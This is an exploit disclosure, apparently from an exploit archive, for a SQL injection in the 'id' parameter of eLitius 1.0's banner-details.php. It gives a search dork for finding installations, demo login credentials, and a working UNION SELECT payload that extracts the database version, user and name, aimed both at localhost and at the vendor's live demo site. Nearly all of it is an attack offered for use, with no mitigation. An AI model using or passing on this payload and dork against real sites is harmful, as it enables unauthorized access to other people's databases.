eLitius 1.0 (banner-details.php id) SQL Injection Vulnerability

===============================================================
eLitius 1.0 (banner-details.php id) SQL Injection Vulnerability
===============================================================



                ======================================================================================
                =                                                                                    =
                =                                                                                    =
                =                   script Demo:http://www.elitius.com/demo.html                     =
                =                                                                                    =
                =                               banner-details.php                                   =              
                 =====================================================================================    

Dork: Powered by eLitius Version 1.0

Note:
You must Sign in as member
username::demo>>>>>password::demo

Exploit:

http://localhost/clipshare/banner-details.php?id=-32'+UNION SELECT 1,2,3,concat(@@version,0x3a,user(),0x3a,database()),5,6,7,CHAR(83, 110, 97, 107, 101, 115, 84, 101, 97, 77)/* 

Demo :

http://www.elitius.com/demo/banner-details.php?id=-32'+UNION SELECT 1,2,3,concat(@@version,0x3a,user(),0x3a,database()),5,6,7,CHAR(83, 110, 97, 107, 101, 115, 84, 101, 97, 77)/*
                                                                      
===================================================================================================================




#  0day.today [2018-03-17]  #